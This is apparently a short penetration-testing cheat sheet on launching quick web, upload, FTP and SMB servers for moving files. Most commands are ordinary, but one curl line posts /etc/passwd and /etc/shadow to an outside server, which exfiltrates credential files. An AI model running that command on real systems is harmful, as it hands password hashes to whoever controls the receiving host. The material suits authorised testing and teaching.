Personal web server
Python
python3 -m http.server 8080
Updog
updog -d $(echo $(pwd)/) -p 80
uploadserver
sudo python3 -m pip install --user uploadserver
make it secure
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
Linux - Upload Multiple Files
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
We used the option
--insecure
because we used a self-signed certificate that we trust.
Linux - Creating a Web Server with PHP
php -S 0.0.0.0:8000
Linux - Creating a Web Server with Ruby
ruby -run -ehttpd . -p8000
FTP Server
sudo python -m pyftpdlib -p 21
SMB Server
impacket-smbserver -smb2support share $(pwd)
References
Last updated